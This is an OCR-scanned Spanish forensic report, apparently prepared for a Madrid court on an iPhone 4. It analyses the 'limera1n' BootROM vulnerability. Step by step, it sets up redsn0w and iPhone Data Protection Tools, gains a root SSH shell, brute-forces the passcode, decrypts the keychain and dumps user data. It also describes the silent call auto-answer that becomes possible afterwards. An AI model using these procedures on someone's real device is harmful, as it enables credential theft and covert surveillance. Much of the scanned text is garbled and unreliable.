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Mediante oficio de 1 de febrero de 2016, con entrada en este Centro Nacional de
Inteligencia (CNI) el 3 de febrero de 2016, el Juzgado de Instruccién n° 2 de Madrid, exhorto
al Centro Criptolégico Nacional, cuya direccién ostento en virtud de lo dispuesto en el
articulo 9.2.f) de 1Ia Ley 11/2002, de 6 de mayo, reguladora del CNI, a realizar el
correspondiente informe en relacion con el disco duro que se acompafiaba con el contenido de
las extracciones del terminal telefonico IPHONE 4 con IME] 012837000896838.

En su virtud, por medio del presente, s remite el informe solicitado al Centro
Criptologico Nacional con toda la informacion detectada, tanto activa como borrada, v su
correspondiente anslisis.
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2. Introducciéon

Ef presente informe refleja 1os resultados de un andlisis técnico asociado a la vulnerabilidad conocida
como Ylimeraln' presente en & BootROM de los dispositives moviles de Apple basados en el nlcleo
¢ 50C {System on Chip) modelo A4, coms por ejfemplo el iPhone 4 {junio de 2010), el iPad 1 {abril de
2019), el iPod Touch de 42 generacidn o el Apple TV de 22 generacién [ambos de septiembre de
2010)°. £t SoC A4 fue fabricado y comercializado por Apple a partir de marzo de 2010:

Ei andlisistécnico, y el presente informe asociade, ha sido efectuado por Radl Siles {DinoSec), consultor
de seguridad, actuando en colaboracion con el CON (Centro Criptolégico Nacional), durante el mes de
febrero de 2016.

El analisis se Hevd & cabo con el objetive de verificar st seria posible disponer de control completo
sobre un dispositivo mévil i05 de Apple, modelo Phone 4 (identificado como "Model A1332%y con
FCCAD = BCG-E23808B%), si se dispone de acceso fisico al mismo, ratificdndose que debido a la
vulnerabilidad mencionada, es posikle disponer de dicho acceso.

£l BootROM?> es el componente gue contiene el primer fragmento de codigo relevante que es
ejecutado durante el proceso de arranque de los dispositivos mdéviles de Apple, Dicho cddigo reside
an una memaria de sdlo lectura, como su progio nombre indica (ROM, Read Only Memoryl,

La vuinerabilidad 'limerain’ afecta a las versiones de BootROM hasta la 574.4%, asociadas al SoC A4,
conocido como el modelo $5L89307. Esta vulnerabilidad v el exploit asociado fueron publicados ef 9
de octubre de 2010 por e investigador George Hotz igechot), y afectan también a versiones previas
de SoCs de Apple, como por elemplo los empleados en el iPhone 3GS v en el iPed Touch de 32
generacion {también basados en la arquitectura ARMY7Y. El nombre de fs vuinersbilidad y el exploit
asociado provienen del nombre de |3 primera herramienta que hacla uso de estos para Hevar 2 cabo
el proceso de jailbreak en los dispositivos méviles de Apple: imerain®, El exploit ha sido también

* hitp: Miossupportmatrix.com

* {3 referencis nurnérica del modele de iPhone esté disponible en la parte posterior del mismo.
* hitps i/ fwaw foo_govfgeneraiffco-id-searth-page {Grantae tode: BCG, Product code: -E23808}
* ttps:/fwww. theiphonewiii. comfwiki/Bootrom

& https:/Awwrw theiphonewiki.comfwiki/Bootrom_574,4

" hitps i fwww theiphon ewlki.comfwiki/SSL8930

& fittps o/ fwrwew. theiphonewhd, com/wiki/Limaratn
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Adicionaimente se conoce la existencia de otro exploit gue sélo afecta al 50C A4 de Apple, v por tanto,
también al dispositivo mévil bajo estudio. Este otro exploit, denominado SHAtter™, nunca ha sido
utilizade por parte de las herramientas pablicas que permiten Hevar a cabo el proceso de jailbreak en
los dispositivos maviles de Apple, ya gue el exploit de Yimeraln’ fue publicado en primer lugary
afectaba a un mayor nimero de disposiivos,

Debide 2 que i vulnerabilidad conocida como 'imeraln' afecta al hardware del dispositivo, en
concreto al BootROM, no es posible solucionaria mediante actualizaciones software, stendo necesario
actualizar el hardware del dispositivo, es decir, de manera efectiva, sustituir of dispositive por un
modelo mas nueveo basado en otra version de SoC no vulnerable. Asimismo, debido a que se trata de
una vulnerabiidad hardware, permite su explotacion independientemente de la versién software de
0% {el sistema operative mévit de Apple) instalada en e dispositive mdvil. Por tanto, se han visto
afectadas por esta vuinarabilidad tanto las versiones de i05 empieadas originalmente por los primeros
dispositivos vulnerables, como 105 3.2.2 en el iPad 1, hasta las Gltimas versiones soportadas por los
dispositivos vulnerables, como i05 7.1.2 en el iPhone 4.

Tras explotar a vilnerabilidad 'limeraln’, se dispone de plenas capacidades para modificar y alterar
e! funcionamiento del dispositivo mdévil objetivo. Seria por tanto posible realizar las modificaciones
deseadas para cambiar ef comportamients estandar del dispositivo mévil y, por ejemplo, afadir
nuevas capacidades para que el mismo responda sutomdticamente algunas Hamadas recibidas, por
gjemplo, en funcidn del nimero Hamante.

Existen aplicaciones méviles {apps) como AutoAnswer que disponen de estas capacidades, Esta app
estd disponible dasde Cydia {un repositorio pablico de apps para i0S} para dispositives mdviles i08
con el jailbreak aplicado, y permite responder automaticamente tanto a las famadas de voz a través
de la red de telefonfa o celular, como 2 las Hamadas de voz y video conferencia a través de FaceTime.

AutoAnswer es compatible con las versiones i05 4, 5, 6 y 7, es decir, con la version instalada en el
iPhone 4 bajo estudio™.

AutoAnswer permite seleccionar los nimeros llamantes {hasta tres) para los que el teléfono
responders las Hamadas automaticamente sin 2 intervencién del usuario (y potencialmente, para
cualguier nidmero), asi come definir sila llamads serd respondida inmediatamente o tras un tiempo
determinado {especificado en segundos en la configuracion de |3 appl. Adicionalmente, 1a app dispone
de un modo silenciose {0 5tealth Mode] para que el teléfono no emita ningun sonido asociado a la
lamads entrante, de forma que e} ysuario no sea consciente de la misma, no mostrandose ni siguiera
gue hay una lfamada activa, v no dejando registro en el histérico de Hamadas recibidas. La descripcidn
de la app eninglés detalia varios de sus diferentes casos de uso;

"AutoAnswer has several uses like: baby-watching over FaceTime, outo-gnswering specific
numbers while driving, while using vour phone with a bluefooth headset, instont response to

1.6 nttps:/fwww.theiphonewiki.comfwiki/fSHA-1 Image Segment_Overflow
Y nttp:/fmorainfo.thehighoss org/moreinfo/depiction. phpHilezautoanswerData
8 adicionalmente existe ulia varsien para i05 : b //moreinfo.theblghoss.org/ moreinfo/autoanswer.php
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La referencia en los ficheros de firmware de i0S asociada al modelo de iPhone 4 A1332 en las
diferentes versiones de hardware es iPhone3, 1 o iPhone3,2".

Todas las pruebas realizadas han hecho uso de dispositivos méviles de Apple modelo iPhone 4 {A1332)
con laversién 7.1.2 de 05, al ser esta la version existente en el dispositivo méviliPhone 4 de referencia
gue ha originado e} presente andlisis.

£5 posible verificar la version de BootROM del dispositivo mévil obletivo arrancdndolo en modo DFU

{Devite Firmware Update), mediante un proceso de arrangue personahizado que permite restaurar los

dispositivos méviles de Apple’™:

1. Conectar e dispositive movil al erdenador mediante un cable USB.

2. Apagar el dispositivo mévil,

3. Esperar a gue el dispositivo mévil se apague completamente,

4, Arrancar el dispositivo mévil manteniendo pulsade el botdn de arranque [0 botén de encendido
y apagado} durante 3 segundos.
Pulsar el botén de arranque v de "Home" simultdneamente durante 10 segundos.

£, Soltar el boton de arrangue pero mantener pidsado el botén de "Home",

7. Después de unos 15 segundos, iTunes indicard que ha detectado un dispositivo en modo
recuperacion.

La pantalla del dispositivo permanecerd en bianco (de color negro), sin ningudn logotips o imagen.

“ hitps:/fwww.theiphonewtki com/wik/Madels
2 hivps:/ fwww. theiphonewiki.comfwild/DFU_Mode
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4. Preparacién del portitil para explotar la valnerabilidad

E! siguiente procedimiento permite configurar el entormo necesarie en 08 X Yosemite {10.10.x} para
axplotar la vulnerabilidad 1imerain’ sobre dispositivos méviies de Apple vulnerables,

Para ello es necesario Instalar diferentes herramientas v utilidades, funte a sus prerrequisitos
software, asi como el entorno de desarrollo de Apple, conocido como Xeode. Adicionalmente se hara
uso de las iPhone Data Protection Tools™, un conjunto de utilidades que permiten demostrar el
potencial del exploit de imeraln’, tanto para obtener acceso completo al dispositivo mediznte un
shell (o linea de comandos), asi como poder realizar atagues de fuerza bruta sobre el cddigo del acceso
fijado en el dispositivo movil. Una vez obtenido el codigo de acceso, s posible descifrar el Keychain,
qué proporciona acceso a todas las credenciales {usuarios y contraseRas) y certificados del usuario,
asi como el contenide completo de la memoria del dispositive mévil y acceder a la totalidad del
sisterna de archivos {incluyendo todos los ficheros y directorios). Los scripts de gestién del Keychain®
pueden ser instalados en cualguier dispositivo movil 108§ con el proceso de jailbreak aplicado para
inspeccionar los elementos almacenados en el Keychain, ast como sus clases de protaccién®,

Adicionalmente, estas herramientas tienen capacidades para descifrar jos backups de iTunes
{"backup_toolpy"} y para crear imapenes ramdisk del dispositivo mévil objetive desde el punto de
vista forense ("dump_data partition.sh"). Por otro ladeo, una versidn modificada de HFSExplorer
permite hacer uso de la imagen ramdisk creada previamente para procesar las imdgenes de [fas
particiones de la memoria de los dispositivos méviles 105, Para finalizar, en una actualizacién posterior
se afiadid la utilidad “emf _decrypter.py”, que permite descifrar las imdgenes de disco
permanentemente v la utilidad "em?f_undelete.py”, gue permite |a recuperacién de ficheros borrados
gue no han sido adn sobrescritos,

Para Hevar a cabo varios de os pasos descritos en el proceso de preparacion detallado a continuacién,
as necesario disponer de conectividad hacia Internet desde el equipo de anadlisis,

Todos ios comandos indicados 3 continuacion deben ser ejecutados por un usuario con privilegios de
administrador en 0S X, para gue pueda ejecutar comandos como root mediante sudo en aquellos
casos donde es necesario.

Una vez se dispone del portdtil pre-configurade, es posible hacer uso del exploit de 'imeraln’
directamente, siguiendo las instruccicnes del apartado "5. Proceso de explotacidn de ia
vulnerabilidad®,

B hitps://eote google. com/archiva/p/fiphone-dataprotection/
* En ncasiones referenciados como ytilidad KeyohainViewer,
B htos:fwww,apple.com/flafichone/business/docs/i0S_Securlty_May12 pdf
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sudo mkdir ~p /usr/lccal/bin

curl -0 http://networkpx.googlecode.com/files/ldid
chmod +x 1did

sudo op ldid fusr/local/bin

LOUE CONE TR 4

El hash SHA1L de idid es: 27bc7478042aec28795a017085254d2bc7de6132.

4.1.3 Herramients codesign_aliocate

1.2 herramienta codesign_allocate es utilizada por las iPhone Data Protection Tools, sor lo gue también
debe estar disponible en el PATH. La herramienta codesign_ailocate estd incluids en Xcode version
5.1.1y estd disponible por defecto en el PATH bajo "/usr/bin™:

fuar/pin/ecodesign_allocate

4.1.4 Hoemebrew

Se instalé el gestor de paguetes Homebrew en 03 X (por defecto, bajo "fusz/local/binfbrew™}:

$ ruby -& "S{curl -£sS8L
https://raw.githubusercontent . com/Homebrew/install/master/ingtall}”

Mediante el siguiente comando se procedid a inicializar Homebrew {se obtiene un mensaje de aviso
indicando que b versidn de Xeode utilizada estd desactualizadak:

5 brew deoctor

4,1.5 Swigyopenssl
Se instalé ls herramienta swig, en concreto la version 3.0.8, necesaria para i instalacion de médulos

de Python posteriormente, como por ejempio, M2crypto:

% brew install swig

Se instalé opensst, en concreto la versidn 1.0.2f, necesaris para la instalacién de madulos de Python
posteriormente, como por gjemplo, M2crypio:

& hrew install openssl

4.1.6 Eniace simbdlice a "/usr/include” desde Xcode

Se cred un enlace simbdlico 2 "fusrfinclude” aseciado al mismo directorio en Xcode, necesario para la
instalacion de mddulos de Python posteriormente, como por ejemplo, M2crypto:

3 sudo In -8
fRpplications/Xoeode.app/Contents/Developer/Platforms/MacOSK.platform/Develo
per/SDK&/Macosxlﬁ.gg.sdk/usr/include/ Jugr/include
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4.2  Preparacién del exploit para un modelo de dispositive mdvil i0S
concreto

lLos siguientes pasos permiten preparar el ordenador empleado para el andlisis con el obietivo da
expiotar un modelo de dispositivo mdvil 105 de Apple especifico. Estos pasos son, por tanto,
necesarios vy deben ser repetidos para poder explotar cada modelo de dispositivo mévit diferente, es
decir, deben repetirse para el iPhone 4, para ef iPad 1, etc, £n el caso de estudio analizado, todos los
pasos mostrados aplican dnicamente al iPhone 4 al ser este ef dispositive mdvil objetivo.

4.2.1 Asegurarse de gue se han aceptado los términes de licencia de Xeode

Para elio sélo es necesario ejecutar el siguiente comando, visualizar los términos de Hecencia y teclear
“agree™ para aceptarios:

5 sudo xcodebuild —~license

4.2.2 Diescargarlas iPhone DBata Protection Tools para 08 X Yosamite

Descargar 1a versién especifica de las Phone Data Protection Tools para Yosemite v Xcode 5.x,
existiendo dos opciones: mediante descarga directa (opcitn recomendada desde el punto de vista
forense) o mediante Git,

Las iPhane Data Protection Tools, también conocidas como iDPT, toman su nombre dei término "data
protection” (o "proteccion de datos” en espafiol), empleado por Apple para referirse a los mecanismos
de proteccidn de datos y cifrado de i0S. Estas herramientas fueron originalmente publicadas en
http://code.google.com/p/iphone-dataprotection/, junto a la presentacién asociada de Is conferencia
Hack in the Box, HitB, del afic 2011 en Amsterdam por Sogeti/ESECz"’.

£2.2.3 Descarga divecto {apcidn 1)

Desde ef punto de vista forense, se pueden descargar tas Phone Data Protection Tools directamente
desde el fichero ZiP asoclade, en lugar de mediante Git, a través de la sigulente URL:

$ od SHOME/Downloads
$ curl -L0OJ https://github.com/dinosec/iphone~dataprotection-
xoodeS/archive/1.0.1.23ip

ta descarga creard el ficherc "iphone-dataprotection-xcode5-1.0.1.2ip". Se debe crear un directorio
de trabaio y copiar las iPhone Data Protection Tools al mismo:

mkdir SHOME/iDPT

cd SHOME/1DPT

unzip SHOME/Downloads/iphone~dataprotection-xcoded~1.0.1.21ip
mv iphone-dataprotection-xcode’-1.0.1 iphone-dataprotection

LT T R €

* hitp: ffconferance hackinthebox org/hithsecconf201 1ams fmaterials /07T 25620520 {sam-
Baptista20Be% CC8 1 drune3 2085620 ean35205igwal 43 20-% 20iPhon e 1 20Data % 20PratectionSt 2Hn % 20D e pth pdf
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inflating: redanOw mac 0.9.13b3/redsnlw.app/Contents/MacO8/hootlogo.png
inflating: redsnlw mac 0.9.153b3/redsnlw.zpp/Contents/MacO5/boot logox2.pny
inflating: gedsnlw mac 0.9.15b3/redanlw.app/Contenta/MacO8/corvona~ab. tax
inflating: redsnlw mac 0,98.15b3/redsnlw.app/Contents/MacO8/Cydia.tay. lama
inflating: redsnlw mac 0.9.13b3/redsnlw.app/Contents/MacO8/Keys .plist
inflating:

vedandw mac 0,9.15b3/redsnlw.app/Contents/Mac0s/progresslogo. png

inflating: redsnlw mac 0.9.15b3/redsnlw.app/Contents/MacOS/rd. tar
inflating: redsnlw _mac 0.9.18b3/ redsnlw.app/Contents/MacOs/redsnl
inflating: redsnlw_mac 0.92.15b3/redsnlw.app/Contents/MacO3/rocky~
racoon.tar
extracting: redanOw_mac 0.2.13b3/redsniw.app/Contents/Pkginio
creating: redsnOw_mac 0.92,15b3/redsnlw.app/Contents/Resources/
inflating: ’
redsndw mac_0.%.15b3/redsnlw.app/Contents/Resources/redsnldv, long
Decrypting kernelcache . release. n3d
Unpacking
Doing CSED patch
Doing getxattr system patch
Deing nand-disable~driwver patch
Deing task for pid ¢ patch
Doing I0AES gid patch
Doing AMFI patch
Deing AppleIOPFMI:: fmiPatchMetaFringe patceh
Dolng PE 1 c¢an has debugger patch
Dolng I10AESAccelerator enable UID patch
bdded IOFlashControllerUserClient::externalMethod patch at £file offset
OnBEG8E4
Patched kernel written to data/boot/kernel iPhone3,l 5.0 HA334.patchad
pecrypting 018-7923-347.dng
Becrypted ramdisk written to data/boot/ramdisk iFhone3,1 5.0_8%A334.dnmg
Rebullding ramdisk_tools
found 105 SDE at
fapplications/¥rode.app/Contenta/beveloper/Platforms/iPhone0s. . platform/Dave
loper/5DKs/iPhonetsy. 1. sdk/
IOKLt headers missing
Symlinking headers
+ sudoe In -5
fApplications/Xecode.app/Contents/Developar/Platforms/MacOSK. platform/Develo
par/SpRe/Mac0SX10.9.5dk/Systen/Library/Frameworks/ICKit: . framework/Headers
JAapplications/Jcode.app/Contenta/Devaloper/Platforms/iPhoneds. platfomm/ Deve
loper/35DbRs/iFPhone037. l.sdk//Systen/Library/Frameworks/IO0RIL. franevwork/Heade
rs
Password:
+ sudo in -s
fapplicationsg/Xecode.apn/Contants/Developar/Platiorns/MacO3X, . platforn/ Devalo
per/ShKs /MacO8X10. 9, sdk/usr/include/libkern/08Types.h
fApplications/Xeode app/Contents/Developer/Platforma/iPhone(sS. platform/Deve
loper/ShKs/iPhone0sT . 1. adk//usr/include/libkern/05Types. b
+ seb +x
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rin=4.0 ~o ioflashstoragekit ioflash/ioflash.c ioflash/ioflash_kernsl.c
ioflash/iofiashstoragekit.c ioflash/IOFlashPartitionsScheme.c util.c
codesign ~8 = ~wgntitlements entitiements.plist ioflashstoragekit
clang -arch armv? -Wall -Wno-pointerwsign -isysroot
fapplications /Xoode. app/Contente/Dav@}op@r/?latfcvﬁrliphoneos platform/Deve
loper/8DKe/iPhone(sS7.1.8dk/ ~DHGVERSION="\"unknown\¥"* 03 ~l. ~framework
CoreFoundation —-framework IOKitr ~framework Hecurity -miphonecs-version-
min=4.0 -o titbthingy ttbthingy.c
codesign ~s - ~-entitlements entitlements.plist titbthingy
Non-fat file: ramdisk tools/restored external is axchitecture: armv7y
resizing ramdisk...
hadiutil will segfault if ramdisk was already resized, thats ok
Attaching ramdisk
/dev/disk?2
fvolumes/ramdisk
Unpacking ssh.tar.gz on ramdisk...
bin/: Already exists
bin/cat: Already exists
bin/launchetl: Already exists
bin/ln: Already exists
bin/mkdir: Already exists
bin/mv: Already exists
bin/rm: Already exists
eto/: Alrveady exists
sbin/: Already exists
usr/1 Already exists
usr/bin/: Already exists
usr/lib/: Already exists
var/: Alrsady sexisats
tar: Brror exit delayed from pravious errors.
~~ Thig tar error message is okay
Adding/updating ramdisk fools binaries on ramdisk...
total G568
Arwg—————— ¢ uvsuario staff Z04B 14 feb 21:4% |
usuario staff 1708 14 feb 21:45 ..
usuario staff 104K 14 feb Z21:45 bruteforce
usuarie staff 103K 14 feb 21:45 device infos
usuarico staff GBK 14 feb 21:45 loflashstoragekit
—rwsr-sr-%x 1 usuaric staff 514B 14 feb 21:45 mount_partitions.sh
"diske® unmounted.
"disk2" edected.
Build CK, running boot.py
Using data/ipsw/iPhoneld, 1 _5.0_9%A334 Restore.ipsw
Use nand-disablie boot flag ? [y/nl n

Arwxr-xr-x
WAL LT R
~IWEE=XI~X

[

wEIWHL-XIT—X

NOTA: Los errores asociados al mensaie "no repository found® v "f.hg not found)” no afectan a la
ajecucién del seript asociado, "build_tools.sh”, v se deben & gue |2 versidn utilizada de las iPhone Data
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5. Proceso de explotacidon de la vulnerabilidad

tos siguientes pasos detallan el proceso 2 seguir para explotar la vulnerabilidad Himeraln' en un
dispositivo movil i0S objetivo, en este ¢ase, un iPhone 4, En concreto, se hard uso de Ja vulnerabilidad
‘limeraln® para arrancar e dispositive mdvil desde una version personalizada del sistema operative
05 {creada durante el proceso de preparacién previo) y gue dispone de capacidades para obtener
accaso completo al dispositive mediante un shell {o linea de comandos}, asf como poder realizar
ataques de fuerza bruta sobre ef ¢ddigo del acceso del dispositivo movil. Una vez obtenido el cdigo
de acceso, es posible descifrar el Keychain, qué proporciona acceso a todas las credenclales {usuarios
y contrasefias) y certificados del usuario, asf como el contenido completo de la memoria del dispositive
movil vy acceder a ia totalidad del sistema de archivos {incluyendo todos tos ficheros y directorios).

Estos pasos deben ser repetidos para cada dispositive movil objetive especifico que se desea explotar,
5.1 Explotacién de la valnerabilidad

Los siguientes pasos detalian como explotar 1a vulnerabilidad ‘limerain’ v hacer uso de iPhone Bata
Protection Tools para disponer de capacidades de sjecucidn en el dispositive mdvil obgetivo,

5.4.1  Conexién del dispositivo mdvil al erdenadeor

Se debe conectar &l dispesitive mdvil obietivo al ordenador mediante un cable USB, en concreto, el
cable USB de Apple de 30 pines para sl iPhone 4. En el caso de que fTunes detecte la presencia del
dispositivo mévil v arrangue, debe permitirse su ejecucion.

512  Apagar el dispositive mdvil y cerrar iTunes

tina vez ha finalizado el proceso de arrangue, tanto del dispositivo mdvil {en case de estar
previamente apagado y haber arrancado al ser conectado al ordenador) como de {Tunes {en casc de
pjecutarse automaticamente al detectar el dispositive}, debe procederse a apagar of dispositive mdvil
mediante el botén de encendido v apagado, siguiendo ef métode habitual, y cerrariTunes.

{na vez el dispositivo modvil se ha apagado completamente, se puede proceder al siguiente paso.

5.1.2 Eiscutar el scripi de arrangue "bootpy™: redsnfw

Al final de la elecucién del scrint "build.py®, detallada en e apartado de preparacién previe, se Hevo a
¢abo i2 ejecucion automatica del seript "boot.py®, que a su ver ejecutd Ia herramienta redsnOw. En
este punto se debe hacer uso de dicha herramienta.

En caso de querer explotar ka vulnerabiidad directamente en ocasiones posteriores, se pueda alecutar
de nuavo directamente el script "boot.py" contra el dispositivo mdvit i0S ebietivo:

% cod SHOME/ibrT/iphone-dataprotection
& /boot.py
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Analisis técnico de la vulnerabilidad Ylimeraln' en el iPhone 4 % DisneSec

5.1.4 Arrancar el dispositive en modo BFU

£n primer lugar es necesario arrancar e dispositivo mavil ebjetivo en modo DEU (Device Firmware
Update}, mediante un proceso de arrangue personalizado que permite restaurar los dispositivos
méviles de Apple™. Puede llevarse a cabo el proceso manual descrito a continuacién, o seguir 1as

instrucciones del mismo desde la ventana de redsnQw tras pulsar el botén "Next>";
p

Asegurarse de que ef dispositive movil estd conectado al ordenador mediante un cable USB.
Apagar ef dispositivo moévil.

Esperar a gue el disposiive movil se apapgue completamente.

Arrancar el dispositivo méyil manteniendo pulsade el botén de arranque {o botdn de encendido
y apagado} durante 3 segundos.

Pulsar el botdn de arrangue v de "Home™ simultaneamente durante 10 segundos.

Soltar el botén de arrangue pero mantener pulsado el botén de "Heme",

7. Después de unos 15 segundos, redsnQw detectard que el dispositive estd en mode recuperacion
e intentars ejecutar el exploit de ‘limeraln’ automaticamente,

ral A

La pantatia del dispositive permanecerd en blanco {de color negro), sin ningn logotipo o imagen.

# https:/fwaw. theiphonewikl comfwiki/DFU_Mode
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tna vez finalice of proceso de explotacidn, redsnOw lo indicard con el mensaje "Done!™. En ese
momenio s posible cerrar redsnOw mediante el botdn "Guit":

Tz izt oF HG Branes SRS Dl O s Snvii,

ol

£n caso de tener éxito e exploit, se visualizard una pifia en la pantaila del dispositive moévii durante el
proceso de arrangue {en lugar de el logo de la manzana de Apple}, seguida de mensajes de texto
asotiados al arrangue personalizado a través de las IPhene Data Protection Tools:
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En primer lugar se debe ejecutar en un terminal & seript "teprelay.sh”, incluido en las iPhone Data

Protection Tools:

$ sh teprelay.sh

Forwarding local port 2222 to remote port 22

A continuacién, es posible establecer una conexion con el dispositivo mévil madiante un clienta 55H
desde otro terminal a través de la redireccion local, empleando el usuario root y la contrasefia por

defecto, "alpine™:

$ ssh ~p 2222 rootflocalhost

The authenticity of host

aatablished.

"flocalheostl 8222

{({izv.0.0.41:2222)°

can't be

RSA key fingerprint is 76:79:9c:19:77:03:53:80:20:4£:a7:55:54:87:101:1 8D,
Are you sure you want to continue connecting {(yes/no}? yes

Warning: Permanently added

hostyg,

'"Ilocalhosti 1 2222°

rootBlocalhost's password:

wgh-&, 0k

{RGA)

to the list of Xnouwn

Comao resultado, se dispone de acceso con el usuario que dispane del méximo nivel de privileglos en
a] dispositive mévil, root, pudiendo ejecutar cualquier comando en el mismo.

Incluso sin disponer del cddigo de atceso, es posible montar los sistemas de ficheros del dispositivo
mévil asocladas a las dos particiones existentes, [a de sistema {donde reside ¢l sistema operativo i05)
y Ja de usuario {donde residen todos los datos asociados al usuario y appsh:

~ash-4,0¢# ia -1

total 284

wrwEr-xr-x 1 mobille 20 106636 Feb 14 1Z2:45
—rwgr-xr-x 1 moblie 20 108776 Feb 14 12:43
—rwrr-wr-% 1 mobile 20 66896 Feb 14 12:435
—rwRr-xr-x% 1 mebile 20 514 Feb 14 12:45
~sh-4.34% pwd

/var/root

~gh=4,3# mount

Jdev/md0 on / (his, local, noatims)

devfs on /dev {(devis, local, nobrowse]

-sh-4.0# ./mount partitions.sh

=ah=4 .04 mount

/dev/mdd on / {(hfs, local, noatime}

devfs on /fdev {deviaz, local, nobrowse}
fdev/disk0sisl on /mntl (hfs, local, dournaled,
Jdev/disk0sis? on /mnt? {hfs, local, dournaled,

woh=4 ., 0¥
wahed 0¥ od /mntl
~gh-d4 0f 1l -1

bruteforce
device infos

noatine)
noatime, protect)
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% python python scripts/demo bruteforce.py
047Tedd83c983d0£4 1487020 £70d7209502¢014d

Connecting to device 3
RKeybag UUID :

O8cbdal3cdV£43£8%fde32626£6deB?

fnter passcode or leave blank for bruteforce:

Trying all 4-digits passcodes...

g of 10000 ETA:  ~wi=wi—
14 of 30400 EYA:  0:31:40
;Q of LGRCD ETA:
éG of 10400 ETA:
é@ of 10404 ETA:
|

0:31:29
B:31:13

Dr3l:01

1220 of 10400 ETA:
|

1230 of 104400 ETA:
|

10000 of 10000 Time: $:103:42
|

Gr248117

D:26:1%

TOO%  ganesabanatanAREaradso barPiapRsREISaCEREARANEGEIORESALME A ARE RN AAFSANBAHEAAF A 44 FERRAABERABEABAGRI REHIRE:

: 0:03:42.064052

BruteforceSystemkeyBag
{"pagsscode’: '1234°,

True
Reyhbag type
Keybag vergion @ 4

Raybag UVID : 08cbdall3cd7i43189fde32626L61deqd

[SEELY

WaFiizsbrotectionComplesa R
WEFiimFrorecrionCampietelnleasCoan El
bIE T iaih el bEATRANL B TRADATEES43R
k LlFirgslsaranthgatication 3 RIS
BEFLLabrsteptionnanevary? 3 L]
RErohTIrhcoe £8 ih lephannlonuad 3 hEs
wioohioricoeasiblaritaeFicsiinl ook ki ALE
LB SRt LR ReGE 70 A0 MR LWGys H WES
RROGATLEAESE #5 L e RRER TN Las ke d TR LT e v Loalnly 3 hiE
RfeotLochcenass ibloifterFirseniociThd shevicniniy 3 nES
k#icohtirdccoraibieAlweysThisiivicodnly E RlE

Downloaded keychain database,

smorets

5

System kevbag {0}

'passcodeRey’
'f3bad4004labbhecitediad7deeidiel 45a04200d62e1a03713d2abiidaaldef }

WEAE Tyre

Trrved3Hie

=R OLdeTE04, ? befI T nieERITadiGaB0IBoand
A G0 a0V E2IE] 3o Iban I M E 00 IR SEERao PR M S0 4 1 VAR S RA4E Al EN b

slelhsseoirdediondd fol of O i) YobaNZ2 40 S2FIETAAOMALELeSufdlTl del

BALEEISThEnlekdd I9GEaG1akhd A1 9T aTe YR T 001 Y081 6Tk See Bt 5l It

bolqebetont ST doa i hd L fedaSo0ndslar AT N 220 0NEI 3000
sk ldt ALRb AL AL EpDTiAb ¥V co24n0lbl 23 0bEanlad da 0aEd COETEA Bahi:id
himl Crudad i 2REZ20ia993ebtb i 30 daatb T a4 data TR EHETOR 4
IOREIP SEENnaREN Ay M AL VODE R TAODR SF FRA4I SLG Fedb Daodadgnliing T
bdRieactfbrEItndladndlbl ibdibdal FAFEAT0ERE Tieain

Fiklic hey

3 files, use keychain tool.py te decrypt

% la ~1 047ed583c983d0f4ciA97b2cfT7047288502a014d/

total 5224

~rw~-r~-r-- 1 usuario
“pwer--r=- 1 usuaric
—rw-r--—re- 1 usudaric
—rw-r—-—-r-- 1 usuario

$

Debido 3 la impiementacion de los mecanismos de cifrade existentes en los dispositivos moviles 035,
dependientes de claves de cifrado almacenadas Unicamente en e hardware de cada dispositivo, la

staff
staff
astaff
ataff

10606 15 feb 19:57 L5eellfbhff24443 . plist
4096 15 feb 19:57 keychain-2.db
32768 15 feb 18:57 keychain~2.db-shm

2624472 1% feb 1%:57 keychain-2.db-wal
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NOTA: Los ejempios superiores no muestran informacién critica o sensible del usuario ya que, a
propdsito, el dispositive mévil objetivo empleado habis sido instalado recientemente v no disponia de
datos de gsuaric relevantes.

5.74.4 Potencial instalacién de aplicaciones en e dispesitiveo mavil

Con e nivel de scceso obtenide previamente, seria potencialmente posible alterar los diferentes
componentes implicados en el arrangue del dispositive mévil i0S, como el LLB, iBoot y/o el kernel, de
manera similar al proceso de jailbreak, para disponer permanentemente de las capacidades para
instalar yv/o elecutar cualguier software en el dispositivo objetivo.

5.2.5  Acceso n todos los datos almacenados en el dispositivo mavil

Con fa informacién previa del Keychain, es posible descifrar el contenido completo de la memoria del
dispositivo mévil v acceder a ia fotalidad del sistema de archives {incluyendo todos los ficheros v
directorios), y 2 sus contenidos.

La siguiente secuencia de comandos v scripts permiten volcar iz particién de datos {o de usuario, no
asi 2 de sistema va gue Onicamente contiene fa versign de 108 utilizadal’?, a través de la conexion de
FCP relay de SSH {siendo necesario introducir la contrasefia de root en un par de ocasiones), al
ordenador local y en concreto bajo el directorio de trabajo asociado al UDID detl dispositive mdvil
ohjetivo. Este proceso Hevard bastantes minutos, dependiendo del tamafic de la memoria del
dispositive mévil objetivo, y en concreto, del tamafio de la particién de datos:

4% sh toprelay.sh
Forwarding local port 2222 to remote port 22

$ ./dump data partition.sh

Warning: Permanently added '[localhostit2222" (RSA) to the list of Xnown
hosts.

rogtllocalhest's password:

Device UDID @ 047edhB3¢c983d4084¢1497h2eE709d7289502¢014d

PDumping data partition in
047ed583¢c083d0F40c48 720 f7847289502¢014d/data_20160215-2043.dmg . ..
Warning: Permanently added '[localhost]:2222' (RSA} to the list of known
hosts.

rootélocalhost's password:

dd: opening " /dev/rdisk0s2si': No such file or directory

Connection to leocalhost closed by remote host.

$

NOTA: Los errores anteriores son habituales v no interfieren con la adguisicién de ta particidn.
Como resultado se creard un fichero .dmg con la fecha v hora actuales, que corresponde a la imagen
de by particidn de datos {de 13,50 GB de tamafio para un iPhone 4 de 16 GB; ¢l resto del aspacio

% En este caso si se recomiends usar of "nand-disable boot flag® en ef script *boot.py".
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Telefono iPhone 4
Cuerpo Nacional de Policia

Marzo de 20146
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COMN-CERTIE - 11/16 Teldtono Méyil (Phone 4

LMITACION DE RESPONSABIIDAD

Bl presente documento se proporciona de acuerdo con los términos en & recogidos,
rechazondo expresamente cudiquier fipo de garantia implicila que se pueda encontrar”
relacionada. Bn ningdn caso, ef Centro Criploldgico Nacional puede ser considerado
responsable det doRo directo, indirecto, forfuito o extraordinario derivado de o ulifizacion de la
informacidn y software que se indican incluso cuando se advierta de tal posibilidad.

AVISO LEGAL

Quedon rigurosamente prohibides, sin la autorizacidn escrita del Centro Criptoldgice Nadional,
bajo [as sanciones establecidas en ks leyes, la reproduccidn parcial o tolal de este documento
por cuaiauier medio o procedimients, comprendidos Ia reprografia v el tratamiento informdtico,
